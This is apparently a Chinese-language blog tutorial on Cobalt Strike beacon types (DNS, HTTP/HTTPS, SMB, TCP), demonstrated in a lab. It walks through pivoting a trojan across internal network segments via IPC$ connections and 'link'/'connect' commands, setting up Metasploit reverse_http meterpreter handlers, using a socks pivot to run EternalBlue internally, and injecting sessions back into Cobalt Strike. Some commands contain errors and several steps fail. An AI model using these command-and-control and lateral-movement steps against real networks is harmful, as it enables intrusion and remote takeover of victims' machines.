今天来讲一下cs里面的beacon
其实cs真的功能很强大,自带代理创建,自带beacon通信!!!
一张图,就能说明beacon的工作原理
1.Beacon
每当有一台机器上线之后,我们都会选择sleep时间,并且进入会话,就是这样
可以看见,有一个beacon的字段,每一次我们敲命令的时候,都会再它之后,那么,什么是beacon呢?????
Beacon是Cobalt Strike为高级攻击者建模的Payload。使用Beacon通过HTTP,HTTPS或DNS出口网络。而且Beacon非常灵活,支持异步和交互式通信。异步通信既低又慢。Beacon将通讯本地,下载任务,然后进入睡眠状态。交互式通信实时发生。
在我们点击监听器的时候就能看见这个
下面我们就来分别讲讲这几种beacon的用法
2.DNS Beacon
DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务。
感觉有点听不懂??? 来看一张图片
当我们将dnsbeacon嵌入到靶机的一个程序时候,如果这个smbbeacon运行起来,就会逐级递归的去找我们的服务器,并且通过dns_txt的方式传输数据,缺点是这个会比常规的慢
3.HTTP/HTTPS Beacon
这两个beacon的原理是通过发送http请求与受害主机通信来传达命令, 以此实现控制效果
相比于HTTP的beacon ,HTTPS的beacon多了一个加密传输
配置呢也比较简单,就是绑个ip,然后设置一个端口就好
优点是传输数据快, 缺点是隐蔽性差, 容易被防火墙或内网审计工具拦截
4.SMB Beacon
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。
因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
在前面提到的三个beacon里面,都是只能用于出网的机器,SMB和TCPbeacon都可以用在不出网和出网的机器!!!
下面是它的原理
这样说起来好像有点干,来个拓扑环境演示一下
抽象点的拓扑
首先是把win7上线了,这个进入内网的第一步,不多说
然后设置smb beacon
然后生成一个多阶段的木马
然后不管通过什么方式,让这个木马丢到下一个目标的机器,并且让他运行起来!!!
当然,你也要有一个ipc连接
net use \\目标ip\ipc$ "密码" /user:用户名
再link一下
link 目标ip
就能上线到了 内网的server
这时候有人就会问了,还能在跨一段网段吗???
肯定可以啊。我们再加一个网段
还是建立连接,上马,运行,link
这样,就能上线三个网段的机器了(就算是有更多的网段,也是可以的,毕竟windows默认开放445端口,这就是为什么smb beacon 在内网中有奇效)
不信??? 给你看一下更清晰的图,三层网段!!!!!!
5.TCP Beacon
TCPbeacon也是一般用在上线内网的机器,走的是tcp的协议
先去清空一下环境
创建一个TCP监听器
并且生成对应的stage木马,建立管道,运行
connect 目标ip 端口(一开始tcp监听器的木马)
但是呢???
牛魔的怎么连接不上??
哎,这,翻车了,但是网上说这样是可以的!!!!还是用回smb吧
6.联动beacon
这种beacon可以用于和msf梦幻联动!!!(之前讲过,再讲一遍)
cs(在不添加插件的情况下)的攻击性不强(相对于msf的众多攻击模块),所以我们很多时候就要联动
先去msfconsole监听(payload选reverse_http)
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lport kali的ip
set lport 你自己写一个ip
run
再是监听器
spawn一下(前提你要有cs已经上线了机器)
成功上线
但是,这样也只是联动(装装b还可以),还是没有用到kali的攻击模块,别急有反转!!
这里用到pivot模块,(其实就是把它当作一台开了socks服务的服务器)
开启服务
开始操作
复制下面这段话
回到msfconsole background一下
然后去敲上这条命令
setg Proxies socks4:192.168.246.153:20987
set ReverseAllowProxy true
然后你就可以用永恒之蓝打内网了
但是大部分都是不行的!!!! (看别人试过也是这样不行)一旦跨了一个网段,就是能扫出漏洞,但是打不进去(真的很奇怪)可能是虚拟机的问题吧!!
7.MSF联动CS
上面讲了cs联动msf,但是一般我们都是先上线msf,再上线的cs啊,别急,还是有反转!!!
我把上面那台打不到的机器放在了外网,瞬间就能打到了(大无语事件)
然后按照以下命令敲
bg
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost "cs的ip"
set lport "cs的端口"
set disablepayloadhandler true
run
然后去cs配置监听
然后就能上线了